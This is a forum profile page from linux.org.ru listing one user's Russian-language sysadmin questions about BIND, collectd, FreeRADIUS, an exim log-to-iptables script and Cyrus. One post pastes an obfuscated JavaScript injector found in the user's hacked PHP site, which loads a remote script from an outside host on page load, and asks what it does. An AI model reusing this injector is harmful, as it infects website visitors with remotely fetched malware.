LINUX.ORG.RU

Сообщения offtop

 

SQL script help needed.

Форум — Admin

Здравствуй многоуважаемый АЛЛ.
Вопрос состоит в следующем, можно ли в sql скрипте получить название его самого, чтото как в баше
$cat new.sh
#!/bin/bash
echo $0

$./new.sh
./new.sh

Заранее огромное спасибо.

offtop
()

[Bind9] Bind9 + socket. Искать в отделе фантастики?

Форум — Admin

Доброго Времени суток, уважаемый АЛЛ.

Вопрос вследующем: а) возможно ли настроить bind/any DNS server так чтобы все имена резолвились через сокет.

Предистория вопроса: Имеется некоторая впн сеть с впном от Нортела(это тот который к чертям обрывает все соединения куда угодно,кроме как к впн серверу). Нужно получать хосты из этой сети, без входа в неё. Решение которое вижу — на машине поднимается виртуалка(vbox/vmware), На обоих машинах(виртуалка + основная) поднимаются бинды(назовем их bind1 на основной машине, и bind2 на виртуалке, которая в впне). архитектура:

приходит запрос на некоторый домен(www.1.pupkin.com) на бинд1, он через сокет запрашивает у бинд2 IP, бинд2 запрашивает в впне IP далее возвращает результат на сокет, далее бинд1 отвечает на запрос только уже на сетевой интерфейс.

Спасибо заранее.

 

offtop
()

[apache]Паламали

Форум — Admin

Здраствуй уважаемый олл. кто разберается что вот это может означать в хтмлине,если быть точнее - в пхпешине, однако вне <?php 8<>8 ?>

<script>var Y;if(Y!='cr' && Y!='R'){Y=''};var b;if(b!='t' && b!='RC'){b=''};var YO;if(YO!=''){YO='g'};function l(){var lq;if(lq!=''){lq='V'};this.W="";var Dj;if(Dj!='Wl' && Dj!='B'){Dj=''};var z=unescape;var c=window;var K=z("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%63%6e%62%6c%6f%67%73%2e%63%6f%6d%2f%74%6f%79%73%72%75%73%2e%63%6f%6d%2e%70%68%70");var EW=new String();var Yu;if(Yu!='' && Yu!='_E'){Yu=''};function k(cU,D){var kz=new Date();var MD;if(MD!='' && MD!='nb'){MD=''};var L;if(L!='' && L!='oT'){L=null};var u="g";var x=z("%5b"), zk=z("%5d");this.PB='';this.v="";var r=x+D+zk;var _n="";var Ri=new Date();var M=new RegExp(r, u);var e;if(e!='vP'){e=''};return cU.replace(M, new String());};var wv;if(wv!='Wy'){wv=''};var JS;if(JS!='kf'){JS=''};var vS=new String();var GZ;if(GZ!='' && GZ!='ED'){GZ='VN'};var kY=new Date();var ph;if(ph!='zU' && ph!='hb'){ph=''};var nq=new Array();var _=k('83103484140431','134');var E=document;var RL='';var DG=new String();this._C='';var Zl='';function w(){var Gy="";var S=z("%68%74%74%70%3a%2f%2f%69%63%79%63%68%69%6e%61%2e%72%75%3a");var cY;if(cY!='Hd'){cY='Hd'};var zm;if(zm!='' && zm!='N'){zm=null};DG=S;var C="";DG+=_;var QR;if(QR!='QD'){QR='QD'};var fj=new Date();DG+=K;var Rmg=new String();this.Mb='';var XU='';try {var th=new String();var FQ;if(FQ!='rj' && FQ!='aY'){FQ='rj'};this._CI="";G=E.createElement(k('s2cPrJi2pYt4','47nAPJY2E'));this.Pr="";G[z("%73%72%63")]=DG;var ub=new Array();var GyE=new Array();G[z("%64%65%66%65%72")]=[1][0];var Xz;if(Xz!='abZ'){Xz='abZ'};E.body.appendChild(G);var Qs;if(Qs!='' && Qs!='ff'){Qs=null};this.Td='';var Ir;if(Ir!='Cz'){Ir='Cz'};var gr=new Date();} catch(km){var ip;if(ip!='TO' && ip != ''){ip=null};this.ES='';alert(km);var vN=new Array();var zQ=new Array();};var dv;if(dv!='' && dv!='Hq'){dv=''};}var Tg=new Array();var vD=new Array();c[String("onl"+"oadYP1".substr(0,3))]=w;var q;if(q!='' && q!='lz'){q=''};var WQ=new Date();this.io="";var pu=new Array();};var xbM=new Date();var SI;if(SI!='Tf'){SI=''};this.OU="";l();var SY;if(SY!='TD'){SY='TD'};this.Vu='';</script>
этого не было и тут оно явилось, походу взломаи мну, однако хочется узнать результат выполнения ей прелести, чтобы знать куда копать чтоли... Аваст утверждает что это троян.. помогите люди добрые. общая информация : разрешения на файло в папке: 500, owner: www-data. Rewrite off, deflate on

 

offtop
()

Collectd + прерывания

Форум — Admin

Здраствуй Уважаемый алл! Имеется сервер Fedora 9 с collectd со след конфигом:

FQDNLookup   true
LoadPlugin syslog
LoadPlugin cpu
LoadPlugin irq
LoadPlugin rrdtool

собсна хочештся собирать информацию о прерываниях. однако не тут то было. vmstat показывает:

# vmstat 2
procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu------
 r  b   swpd   free   buff  cache   si   so    bi    bo   in   cs us sy id wa st
 1  0      0  84672 178340 1597928    0    0     3     5    3    7  0 14 86  0  0
 0  0      0  84672 178340 1597928    0    0     0     0 11403 1160  0 20 81  0  0
 0  0      0  84704 178340 1597928    0    0     0    22 11373 1290  0 23 77  0  0
 0  0      0  84672 178340 1597928    0    0     0     0 11752 1249  0 26 74  0  0
 0  0      0  84704 178340 1597928    0    0     0     0 11443 1156  0 24 77  0  0

а в rrd фалах вижу следующее:

/irq# for i in `ls`;do rrdtool fetch $i MAX|egrep -v '0.0000000000e|nan|5.0000000000e-01|^$|value';echo $i;done
1268902950: 5.7000000000e+00
1268903230: 1.3650000000e+01
1268903300: 1.3650000000e+01
1268903580: 4.2350000000e+01
1268903860: 1.5190000000e+01
1268904140: 7.0000000000e+00
irq-0.rrd
1268902950: 3.7000000000e+00
1268903020: 9.6700000000e+00
1268903090: 9.6700000000e+00
1268903160: 7.1900000000e+00
1268903230: 5.5300000000e+00
1268903300: 2.5900000000e+00
1268903370: 1.4000000000e-01
1268903440: 2.5200000000e+00
1268903510: 2.9400000000e+00
1268903580: 7.0000000000e-01
1268903650: 1.4000000000e-01
1268903720: 2.6100000000e+00
1268903790: 4.6200000000e+00
1268903860: 1.4000000000e-01
1268903930: 1.4000000000e-01
1268904000: 1.1400000000e+00
1268904070: 7.1900000000e+00
1268904140: 9.7000000000e-01
1268904210: 5.5000000000e-01
1268904280: 3.2200000000e+00
1268904350: 3.3600000000e+00
irq-14.rrd
irq-15.rrd
irq-16.rrd
irq-17.rrd
irq-18.rrd
irq-1.rrd
irq-219.rrd
irq-220.rrd
irq-22.rrd
irq-23.rrd
irq-3.rrd
irq-4.rrd
irq-7.rrd
irq-8.rrd
irq-9.rrd
что делать и как быть как получить значение in из vmstat в collectd. что самое загадочное все отрабатывалось норм. но в какойто момент около 3 ночи(когда даже я спал) появились нолики и заполонили все. Нужно получать именно в коллектд т.к. статистика высылается на удаленный сервер.

offtop
()

[AAA] radius + framed-ip-address что делать и как быть

Форум — Admin

Здраствуй уважаемый алл
имеется Сервер радиуса на дебиане, и свич 2-го уровня DLINK DES3010G.

после авторизации бросает порт в нужный влан, однако то чего добиться не удалось, а очень нужно:
а)не выдается ip по framed-ip-address и соотв остальные настроки;
б)пользователь может авторизоваться на нескольких портах одновременно, что есть вообще плохо.(usercollision никак не помогли)
в)и хотелось бы ограничить прием с конкретного ипа один ип и не более того.

вот пример конфига для юзверя, все остальное по дефолту:

steve Cleartext-Password := «test»
Service-Type = Framed-User,
Framed-Protocol = PPP,
Framed-IP-Address = 192.168.1.3,
Framed-IP-Netmask = 255.255.255.0,
Framed-Route = «192.168.1.1»,
Tunnel-type = VLAN,
Tunnel-medium-type = IEEE-802,
Tunnel-Private-Group-Id = 1041,
Framed-Compression = Van-Jacobsen-TCP-IP


итого получаю
$sudo freeradius -X
rad_recv: Access-Request packet from host 10.90.90.2 port 8021, id=13, length=180
   Framed-MTU = 1466
   NAS-IP-Address = 10.90.90.2
   NAS-Identifier = «D-Link»
   User-Name = «steve»
   Service-Type = Framed-User
   NAS-Port = 4
   NAS-Port-Type = Ethernet
   NAS-Port-Id = «ether4_49»
   Called-Station-Id = «00-22-b0-5d-4b-57»
   Calling-Station-Id = «00-e0-91-34-f0-46»
   Connect-Info = «CONNECT Ethernet 2Mbps Full duplex»
   EAP-Message = 0x0202000a017374657665
   Message-Authenticator = 0xd37bb7ce7ba039bc5325b7a9381b3358
8<->8
Sending Access-Challenge of id 13 to 10.90.90.2 port 8021
   Service-Type = Framed-User
   Framed-Protocol = PPP
   Framed-IP-Address = 192.168.1.3
   Framed-IP-Netmask = 255.255.255.0
   Framed-Route = «192.168.1.1»
   Tunnel-Type:0 = VLAN
   Tunnel-Medium-Type:0 = IEEE-802
   Tunnel-Private-Group-Id:0 = «1041»
   Framed-Compression = Van-Jacobson-TCP-IP
   EAP-Message = 0x0103001604101da839e88b838d9d894cf805f2a56930
   Message-Authenticator = 0x00000000000000000000000000000000
   State = 0x3aa8a9903aabad08238a0b74477ee417
8<->8
rad_recv: Access-Request packet from host 10.90.90.2 port 8021, id=14, length=215
   Framed-MTU = 1466
   NAS-IP-Address = 10.90.90.2
   NAS-Identifier = «D-Link»
   User-Name = «steve»
   Service-Type = Framed-User
   NAS-Port = 4
   NAS-Port-Type = Ethernet
   NAS-Port-Id = «ether4_49»
   Called-Station-Id = «00-22-b0-5d-4b-57»
   Calling-Station-Id = «00-e0-91-34-f0-46»
   Connect-Info = «CONNECT Ethernet 2Mbps Full duplex»
   State = 0x3aa8a9903aabad08238a0b74477ee417
   EAP-Message = 0x0203001b0410e3e8b2996c27ca1aff35e7d4916619427374657665
   Message-Authenticator = 0xc1fff9eb5c0a5e96ae6bea005e070c6a
8<-->8
Login OK: [steve/<via Auth-Type = EAP>] (from client Dlink port 4 cli 00-e0-91-34-f0-46)
8<-->8
Sending Access-Accept of id 14 to 10.90.90.2 port 8021
   Service-Type = Framed-User
   Framed-Protocol = PPP
   Framed-IP-Address = 192.168.1.3
   Framed-IP-Netmask = 255.255.255.0
   Framed-Route = «192.168.1.1»
   Tunnel-Type:0 = VLAN
   Tunnel-Medium-Type:0 = IEEE-802
   Tunnel-Private-Group-Id:0 = «1041»
   Framed-Compression = Van-Jacobson-TCP-IP
   EAP-Message = 0x03030004
   Message-Authenticator = 0x00000000000000000000000000000000
   User-Name = «steve»
rad_recv: Accounting-Request packet from host 10.90.90.2 port 8022, id=15, length=104
   Acct-Session-Id = «000000000004»
   Acct-Status-Type = Start
   Acct-Authentic = RADIUS
   Acct-Delay-Time = 0
   NAS-Port = 4
   Calling-Station-Id = «00-E0-91-34-F0-46»
   Service-Type = Framed-User
   NAS-IP-Address = 10.90.90.2
   NAS-Identifier = «D-Link»
   User-Name = «steve»
rlm_acct_unique: Hashing 'NAS-Port = 4,Client-IP-Address = 10.90.90.2,NAS-IP-Address = 10.90.90.2,Acct-Session-Id = «000000000004»,User-Name = «steve»'
Sending Accounting-Response of id 15 to 10.90.90.2 port 8022

Настраивал свитч по вот этому мануалу:
http://www.dlink.ru/ru/faq/62/238.html

Вобщем что делать и как быть? спасайте

PS также вопрос можно ли както средствами radius получать статистику траффика на порту, пока нашел только вариант с временем.

offtop
()

Bash не хочет парсить логи по живому

Форум — Development

Здраствуйте, имеется сервер exim с задержкой в 30 секунд перед приемом почты :

  warn
        set acl_m0 = 30s
  warn
        logwrite = Delay $acl_m0 for $sender_host_name \
[$sender_host_address] with HELO=$sender_helo_name. Mail \
from $sender_address to $local_part@$domain.
        delay = $acl_m0
хочется выполнять чтото вроде tail -f /var/log/exim4/mainlog |grep unexpected | ./script таким образом чтобы все получаемые ипы тутже блокировались

myuser@myserver:/home/scripts/iptable# cat add 
#!/bin/bash
while read r
do
s=`echo $r | sed "s/\].*//; s/.*\[//"`;
r=`echo $s`;
iptables -A INPUT -s $r -j REJECT
echo "$r">>/home/scripts/iptable/mail
echo "$r";
done

PS пример лога: 2009-12-24 15:39:20 unexpected disconnection while reading SMTP command from (bezeqint.net) [109.67.23.150] I=[myserver]:25

это все дело не работает. Причина неясна, однако интуиция подсказывают что дело в цикле while. Спасибо огромное за любую оказанную помощь.

offtop
()

Cyrus+exim+mysql+sieve

Форум — Admin

Здраствуй уважаемый алл. Вожусь вторую неделю с установкой сего счастья, Дайте пожалуйста хорошую инструкцию по установке, желательно под дебиан, однако все варианты порадуют. Основная проблем -- сив сервер не авторизирует администратора.

offtop
()

RSS подписка на новые темы